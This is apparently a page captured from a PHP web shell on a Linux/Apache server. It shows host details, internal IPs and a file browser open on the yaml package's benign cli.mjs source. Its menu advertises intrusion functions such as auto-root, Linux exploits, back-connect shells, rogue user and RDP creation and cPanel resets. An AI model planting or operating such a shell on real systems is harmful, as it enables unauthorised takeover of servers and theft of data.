Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
node_modules /
yaml /
dist /
[ HOME SHELL ]
Name
Size
Permission
Action
compose
[ DIR ]
drwxr-xr-x
doc
[ DIR ]
drwxr-xr-x
nodes
[ DIR ]
drwxr-xr-x
parse
[ DIR ]
drwxr-xr-x
schema
[ DIR ]
drwxr-xr-x
stringify
[ DIR ]
drwxr-xr-x
cli.d.ts
1.17
KB
-rw-r--r--
cli.mjs
7.17
KB
-rw-r--r--
errors.d.ts
1.21
KB
-rw-r--r--
errors.js
2.07
KB
-rw-r--r--
index.d.ts
1.31
KB
-rw-r--r--
index.js
1.73
KB
-rw-r--r--
log.d.ts
226
B
-rw-r--r--
log.js
421
B
-rw-r--r--
options.d.ts
10.76
KB
-rw-r--r--
public-api.d.ts
2.77
KB
-rw-r--r--
public-api.js
4.09
KB
-rw-r--r--
test-events.d.ts
96
B
-rw-r--r--
test-events.js
4.17
KB
-rw-r--r--
util.d.ts
709
B
-rw-r--r--
util.js
1008
B
-rw-r--r--
visit.d.ts
4.95
KB
-rw-r--r--
visit.js
9.04
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cli.mjs
import { resolve } from 'node:path'; import { parseArgs } from 'node:util'; import { prettyToken } from './parse/cst.js'; import { Lexer } from './parse/lexer.js'; import { Parser } from './parse/parser.js'; import { Composer } from './compose/composer.js'; import { LineCounter } from './parse/line-counter.js'; import { prettifyError } from './errors.js'; import { visit } from './visit.js'; const help = `\ yaml: A command-line YAML processor and inspector Reads stdin and writes output to stdout and errors & warnings to stderr. Usage: yaml Process a YAML stream, outputting it as YAML yaml cst Parse the CST of a YAML stream yaml lex Parse the lexical tokens of a YAML stream yaml valid Validate a YAML stream, returning 0 on success Options: --help, -h Show this message. --json, -j Output JSON. --indent 2 Output pretty-printed data, indented by the given number of spaces. Additional options for bare "yaml" command: --doc, -d Output pretty-printed JS Document objects. --single, -1 Require the input to consist of a single YAML document. --strict, -s Stop on errors. --visit, -v Apply a visitor to each document (requires a path to import) --yaml 1.1 Set the YAML version. (default: 1.2)`; class UserError extends Error { constructor(code, message) { super(`Error: ${message}`); this.code = code; } } UserError.ARGS = 2; UserError.SINGLE = 3; async function cli(stdin, done, argv) { let args; try { args = parseArgs({ args: argv, allowPositionals: true, options: { doc: { type: 'boolean', short: 'd' }, help: { type: 'boolean', short: 'h' }, indent: { type: 'string', short: 'i' }, json: { type: 'boolean', short: 'j' }, single: { type: 'boolean', short: '1' }, strict: { type: 'boolean', short: 's' }, visit: { type: 'string', short: 'v' }, yaml: { type: 'string', default: '1.2' } } }); } catch (error) { return done(new UserError(UserError.ARGS, error.message)); } const { positionals: [mode], values: opt } = args; let indent = Number(opt.indent); stdin.setEncoding('utf-8'); // eslint-disable-next-line @typescript-eslint/prefer-nullish-coalescing switch (opt.help || mode) { /* istanbul ignore next */ case true: // --help console.log(help); break; case 'lex': { const lexer = new Lexer(); const data = []; const add = (tok) => { if (opt.json) data.push(tok); else console.log(prettyToken(tok)); }; stdin.on('data', (chunk) => { for (const tok of lexer.lex(chunk, true)) add(tok); }); stdin.on('end', () => { for (const tok of lexer.lex('', false)) add(tok); if (opt.json) console.log(JSON.stringify(data, null, indent)); done(); }); break; } case 'cst': { const parser = new Parser(); const data = []; const add = (tok) => { if (opt.json) data.push(tok); else console.dir(tok, { depth: null }); }; stdin.on('data', (chunk) => { for (const tok of parser.parse(chunk, true)) add(tok); }); stdin.on('end', () => { for (const tok of parser.parse('', false)) add(tok); if (opt.json) console.log(JSON.stringify(data, null, indent)); done(); }); break; } case undefined: case 'valid': { const lineCounter = new LineCounter(); const parser = new Parser(lineCounter.addNewLine); // @ts-expect-error Version is validated at runtime const composer = new Composer({ version: opt.yaml }); const visitor = opt.visit ? (await import(resolve(opt.visit))).default : null; let source = ''; let hasDoc = false; let reqDocEnd = false; const data = []; const add = (doc) => { if (hasDoc && opt.single) { return done(new UserError(UserError.SINGLE, 'Input stream contains multiple documents')); } for (const error of doc.errors) { prettifyError(source, lineCounter)(error); if (opt.strict || mode === 'valid') return done(error); console.error(error); } for (const warning of doc.warnings) { prettifyError(source, lineCounter)(warning); console.error(warning); } if (visitor) visit(doc, visitor); if (mode === 'valid') doc.toJS(); else if (opt.json) data.push(doc); else if (opt.doc) { Object.defineProperties(doc, { options: { enumerable: false }, schema: { enumerable: false } }); console.dir(doc, { depth: null }); } else { if (reqDocEnd) console.log('...'); try { indent || (indent = 2); const str = doc.toString({ indent }); console.log(str.endsWith('\n') ? str.slice(0, -1) : str); } catch (error) { done(error); } } hasDoc = true; reqDocEnd = !doc.directives?.docEnd; }; stdin.on('data', (chunk) => { source += chunk; for (const tok of parser.parse(chunk, true)) { for (const doc of composer.next(tok)) add(doc); } }); stdin.on('end', () => { for (const tok of parser.parse('', false)) { for (const doc of composer.next(tok)) add(doc); } for (const doc of composer.end(false)) add(doc); if (opt.single && !hasDoc) { return done(new UserError(UserError.SINGLE, 'Input stream contained no documents')); } if (mode !== 'valid' && opt.json) { console.log(JSON.stringify(opt.single ? data[0] : data, null, indent)); } done(); }); break; } default: done(new UserError(UserError.ARGS, `Unknown command: ${JSON.stringify(mode)}`)); } } export { UserError, cli, help };
Close